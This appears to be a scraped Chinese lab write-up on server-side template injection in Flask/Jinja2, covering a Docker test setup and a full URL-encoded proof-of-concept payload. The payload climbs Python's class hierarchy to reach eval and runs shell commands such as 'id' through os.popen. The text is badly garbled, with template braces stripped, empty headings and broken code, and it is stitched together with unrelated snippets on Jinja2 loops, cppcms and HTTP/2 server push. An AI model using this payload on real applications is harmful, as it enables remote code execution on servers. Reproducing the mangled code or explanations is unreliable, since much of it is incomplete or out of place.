1.漏洞編號:
2.影響版本:
3.漏洞產生原因:
先進入容器看一下web服務的**
啟動環境:docker-compose up -d
vulnip:192.168.1.182
環境啟動後,訪問`http://your-ip:8080`即可看到flask預設首頁。
完全可控,那麼就可以直接寫入
jinja2
的模板語言。
`http://your-ip/?name=}`,得到
54289
,說明ssti
漏洞存在。
關注flask的版本
在url後面增加
會觸發乙個
xss漏洞。
直接從globals中尋找eval
獲取eval函式並執行任意
python
**的poc
:
.__class__ %}訪問`http://your-ip:8000/?name=%7b%25%20for%20c%20in%20%5b%5d.__class__.__base__.__subclasses__()%20%25%7d%0a%7b%25%20if%20c.__name__%20%3d%3d%20%27catch_warnings%27%20%25%7d%0a%20%20%7b%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7d%0a%20%20%7b%25%20if%20b.__class__%20%3d%3d%20%7b%7d.__class__%20%25%7d%0a%20%20%20%20%7b%25%20if%20%27eval%27%20in%20b.keys()%20%25%7d%0a%20%20%20%20%20%20%7b%7b%20b%5b%27eval%27%5d(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7d%7d%0a%20%20%20%20%7b%25%20endif%20%25%7d%0a%20%20%7b%25%20endif%20%25%7d%0a%20%20%7b%25%20endfor%20%25%7d%0a%7b%25%20endif%20%25%7d%0a%7b%25%20endfor%20%25%7d`,得到執行結果:}
尋找__builtins__得到eval
用jinja的語法即為(執行命令使用
os.popen('whoami').read()
才有執行結果的回顯)
}
fromflaskflask 是乙個 web 框架。也就是說 flask 為你提供工具,庫和技術來允許你構建乙個 web 應用程式。這個 wdb 應用程式可以使一些 web 頁面、部落格、wiki、基於 web 的日曆應用或商業**。flask import flask, request
from
jinja2 import template
"/safe")
def safe():
name = request.args.get('
name
', '
guest')
t = template("
hello }")
return t.render(n=name)
if __name__ == "
__main__
":
flask 屬於微框架(micro-framework)這一類別,微架構通常是很小的不依賴於外部庫的框架。這既有優點也有缺點,優點是框架很輕量,更新時依賴少,並且專注安全方面的 bug,缺點是,你不得不自己做更多的工作,或通過新增外掛程式增加自己的依賴列表。flask 的依賴如下:
flask簡單易學,下面是flask版的hello world(hello.py):
fromjinja 2flask import flask"/
")def hello():
return
"hello world!
"if __name__ == "
__main__
":
# 取值2021-02-19 22:10:04}#}```
demo
```from
jinja2 import template
t=template('}'
)print t.render()
Flask jinja2模板for迴圈
在jinja2中的for迴圈,跟python中的for迴圈基本上是一模一樣的。也是for.in.的形式。並且也可以遍歷所有的序列以及迭代器。但是唯一不同的是,jinja2中的for迴圈沒有break和continue語句。並且jinja2中的for迴圈還包含以下變數,可以用來獲取當前的遍歷狀態 變數...
HTTP服務端JSON服務端
最後更新日期 2014 5 18 author kagula 內容簡介 cppcms是個開源web開發框架,通過它可以很容易實現http服務和json服務,這裡介紹cppcms開發環境的搭建。寫乙個cppcms測試程式,它建立http服務,向瀏覽器返回hello,world頁面。cppcms依賴的一...
HTTP 2服務端推送
翻譯 shihuaping0918 163.com 譯者注 本文需要有一定的http協議知識和瀏覽器解析頁面過程知識 原文 前言 http 2被設計為解決http 1.x的許多缺陷。當代網頁使用了許多資源 html 樣式表 指令碼 等等。在http 1.x中這些資源每乙個都必須明確地請求。這可能是乙...